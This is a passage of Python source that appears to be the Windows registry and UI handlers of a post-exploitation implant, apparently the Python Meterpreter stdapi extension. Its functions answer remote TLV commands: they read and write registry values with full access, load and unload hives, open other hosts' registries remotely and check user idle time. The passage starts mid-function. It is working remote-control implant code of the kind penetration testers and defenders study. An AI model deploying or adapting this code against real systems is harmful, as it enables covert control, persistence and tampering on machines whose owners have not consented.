        tries = 0
        response += tlv_pack(TLV_TYPE_VALUE_NAME, ctypes.string_at(name))
        index += 1
    return result, response

@register_function_if(has_windll)
def stdapi_registry_enum_value(request, response):
    hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
    return _wreg_enum_value(request, response, hkey)

@register_function_if(has_windll)
def stdapi_registry_enum_value_direct(request, response):
    err, hkey = _wreg_open_key(request)
    if err != ERROR_SUCCESS:
        return err, response
    ret = _wreg_enum_value(request, response, hkey)
    _wreg_close_key(hkey)
    return ret

@register_function_if(has_windll)
def stdapi_registry_load_key(request, response):
    root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)
    sub_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)
    file_name = packet_get_tlv(request, TLV_TYPE_FILE_PATH)
    result = ctypes.windll.advapi32.RegLoadKeyA(root_key, sub_key, file_name)
    return result, response

def _wreg_close_key(hkey):
    ctypes.windll.advapi32.RegCloseKey(hkey)

def _wreg_open_key(request):
    root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
    base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
    base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
    permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
    handle_id = ctypes.c_void_p()
    if ctypes.windll.advapi32.RegOpenKeyExA(root_key, ctypes.byref(base_key), 0, permission, ctypes.byref(handle_id)) != ERROR_SUCCESS:
        return error_result_windows(), 0
    return ERROR_SUCCESS, handle_id.value

def _wreg_query_value(request, response, hkey):
    value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
    value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
    value_type = ctypes.c_uint32()
    value_type.value = 0
    value_data = (ctypes.c_ubyte * 4096)()
    value_data_sz = ctypes.c_uint32()
    value_data_sz.value = ctypes.sizeof(value_data)
    result = ctypes.windll.advapi32.RegQueryValueExA(hkey, ctypes.byref(value_name), 0, ctypes.byref(value_type), value_data, ctypes.byref(value_data_sz))
    if result == ERROR_SUCCESS:
        response += tlv_pack(TLV_TYPE_VALUE_TYPE, value_type.value)
        if value_type.value == winreg.REG_SZ:
            response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data) + NULL_BYTE)
        elif value_type.value == winreg.REG_DWORD:
            value = value_data[:4]
            value.reverse()
            if sys.version_info[0] < 3:
                value = ''.join(map(chr, value))
            else:
                value = bytes(value)
            response += tlv_pack(TLV_TYPE_VALUE_DATA, value)
        else:
            response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data, value_data_sz.value))
        return ERROR_SUCCESS, response
    return error_result_windows(), response

def _wreg_set_value(request, response, hkey):
    value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
    value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
    value_type = packet_get_tlv(request, TLV_TYPE_VALUE_TYPE)['value']
    value_data = packet_get_tlv(request, TLV_TYPE_VALUE_DATA)['value']
    result = ctypes.windll.advapi32.RegSetValueExA(hkey, ctypes.byref(value_name), 0, value_type, value_data, len(value_data))
    return result, response

@register_function_if(has_windll)
def stdapi_registry_open_key(request, response):
    err, hkey = _wreg_open_key(request)
    if err != ERROR_SUCCESS:
        return err, response
    response += tlv_pack(TLV_TYPE_HKEY, hkey)
    return ERROR_SUCCESS, response

@register_function_if(has_windll)
def stdapi_registry_open_remote_key(request, response):
    target_host = packet_get_tlv(request, TLV_TYPE_TARGET_HOST)['value']
    root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
    result_key = ctypes.c_void_p()
    if ctypes.windll.advapi32.RegConnectRegistry(target_host, root_key, ctypes.byref(result_key)) != ERROR_SUCCESS:
        return error_result_windows(), response
    response += tlv_pack(TLV_TYPE_HKEY, result_key.value)
    return ERROR_SUCCESS, response

@register_function_if(has_windll)
def stdapi_registry_query_class(request, response):
    hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
    value_data = (ctypes.c_char * 4096)()
    value_data_sz = ctypes.c_uint32()
    value_data_sz.value = ctypes.sizeof(value_data)
    if ctypes.windll.advapi32.RegQueryInfoKeyA(hkey, value_data, ctypes.byref(value_data_sz), None, None, None, None, None, None, None, None, None) != ERROR_SUCCESS:
        return error_result_windows(), response
    response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data))
    return ERROR_SUCCESS, response

@register_function_if(has_windll)
def stdapi_registry_query_value(request, response):
    hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
    return _wreg_query_value(request, response, hkey)

@register_function_if(has_windll)
def stdapi_registry_query_value_direct(request, response):
    err, hkey = _wreg_open_key(request)
    if err != ERROR_SUCCESS:
        return err, response
    ret = _wreg_query_value(request, response, hkey)
    _wreg_close_key(hkey)
    return ret

@register_function_if(has_windll)
def stdapi_registry_set_value(request, response):
    hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
    return _wreg_set_value(request, response, hkey)

@register_function_if(has_windll)
def stdapi_registry_set_value_direct(request, response):
    err, hkey = _wreg_open_key(request)
    if err != ERROR_SUCCESS:
        return err, response
    ret = _wreg_set_value(request, response, hkey)
    _wreg_close_key(hkey)
    return ret

@register_function_if(has_windll)
def stdapi_registry_unload_key(request, response):
    root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
    base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
    result = ctypes.windll.advapi32.RegUnLoadKeyA(root_key, base_key)
    return result, response

@register_function_if(has_windll)
def stdapi_ui_get_idle_time(request, response):
    GetLastInputInfo = ctypes.windll.user32.GetLastInputInfo
    GetLastInputInfo.argtypes = [ctypes.c_void_p]
    GetLastInputInfo.restype = ctypes.c_int8
    info = LASTINPUTINFO()
    info.cbSize = ctypes.sizeof(LASTINPUTINFO)
    if not GetLastInputInfo(ctypes.byref(info)):
        return error_result_windows(), response
    GetTickCount = ctypes.windll.kernel32.GetTickCount
    GetTickCount.restype = ctypes.c_uint32
    idle_time = (GetTickCount() - info.dwTime) / 1000
    response += tlv_pack(TLV_TYPE_IDLE_TIME, idle_time)
    return ERROR_SUCCESS, response